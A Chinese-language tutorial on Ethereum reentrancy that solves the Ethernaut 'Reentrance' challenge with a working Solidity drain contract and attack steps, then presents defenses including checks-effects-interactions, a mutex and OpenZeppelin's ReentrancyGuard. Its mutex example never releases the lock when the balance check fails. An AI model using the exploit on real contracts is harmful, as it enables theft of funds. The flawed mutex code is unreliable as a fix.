作者:Al1ex@七芒星實驗室
原文鏈接:https://mp.weixin.qq.com/s/YAPP-Hv71J3OxE5WZZikrA

文章前言

以太坊智能合約中的函數通過private、internal、public、external等修飾詞來限定合約內函數的作用域(內部調用或外部調用),而我們將要介紹的重入漏洞就存在于合約之間的交互過程,常見的合約之間的交互其實也是很多的,例如:向未知邏輯的合約發送Ether,調用外部合約中的函數等,在以上交互過程看似沒有什么問題,但潛在的風險點就是外部合約可以接管控制流從而可以實現對合約中不期望的數據進行修改,迫使其執行一些非預期的操作等。

案例分析

這里以Ethernaut闖關游戲中的一個重入案例為例作為演示說明:

闖關要求

盜取合約中的所有代幣

合約代碼
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  function() public payable {}
}
合約分析

在這里我們重點來看withdraw函數,我們可以看到它接收了一個_amount參數,將其與發送者的balance進行比較,不超過發送者的balance就將這些_amount發送給sender,同時我們注意到這里它用來發送ether的函數是call.value,發送完成后,它才在下面更新了sender的balances,這里就是可重入攻擊的關鍵所在了,因為該函數在發送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發送ether,同樣利用的是我們熟悉的fallback函數來實現。

當然,這里還有另外一個關鍵的地方——call.value函數特性,當我們使用call.value()來調用代碼時,執行的代碼會被賦予賬戶所有可用的gas,這樣就能保證我們的fallback函數能被順利執行,對應的,如果我們使用transfer和send函數來發送時,代碼可用的gas僅有2300而已,這點gas可能僅僅只夠捕獲一個event,所以也將無法進行可重入攻擊,因為send本來就是transfer的底層實現,所以他兩性質也差不多。

根據上面的簡易分析,我們可以編寫一下EXP代碼:

pragma solidity ^0.4.18;
contract Reentrance {

  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to]+msg.value;
  }
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  function() public payable {}
}
contract ReentrancePoc {
    Reentrance reInstance;

    function getEther() public {
        msg.sender.transfer(address(this).balance);
    }

    function ReentrancePoc(address _addr) public{
        reInstance = Reentrance(_addr);
    }
    function callDonate() public payable{
        reInstance.donate.value(msg.value)(this);
    }
    function attack() public {
        reInstance.withdraw(1 ether);
    }
  function() public payable {
      if(address(reInstance).balance >= 1 ether){
        reInstance.withdraw(1 ether);
      }
  }
}
攻擊流程

點擊“Get new Instance”來獲取一個實例:

img

之后獲取instance合約的地址

img

之后在remix中部署攻擊合約

img

我們需要在受攻擊的合約里給我們的攻擊合約地址增加一些balance以完成withdraw第一步的檢查:

contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})

img

這樣就成功給我們的攻擊合約的balance增加了1 ether,這里的sendTransaction跟web3標準下的用法是一樣的,這時你再使用getbalance去看合約擁有的eth就會發現變成了2,說明它本來上面存了1個eth,然后我們返回攻擊合約運行attack函數就可以完成攻擊了:

img

查看balance,在交易前后的變化:

img

最后點擊“submit instance”來提交示例即可:

img

img

防御措施

1、建議將ether發送給外部地址時使用solidity內置的transfer()函數,transfer()轉賬時只發送2300gas,不足以調用另一份合約(即重入發送合約),使用transfer()重寫原合約的withdrawFunds()如下;

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
  }

2、確保狀態變量改變發生在ether被發送(或者任何外部調用)之前,即Solidity官方推薦的檢查-生效-交互模式(checks-effects-interactions);

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {//檢查
       balances[msg.sender] -= _amount;//生效
       msg.sender.transfer(_amount);//交互
    }
 }

3、使用互斥鎖:添加一個在代碼執行過程中鎖定合約的狀態變量,防止重入調用

bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
    require(!reEntrancyMutex);
    reEntrancyMutex = true;
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
      reEntrancyMutex = false;
    }
 }

重入在The DAO攻擊中發揮了重要作用,最終導致Ethereum Classic(ETC)的分叉,有關The DAO漏洞的詳細分析,可參考下面這篇文章:

http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

4、OpenZeppelin官方庫

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.
    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;
    uint256 private _status;
    constructor () {
        _status = _NOT_ENTERED;
    }
    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and make it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
        _;
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1582/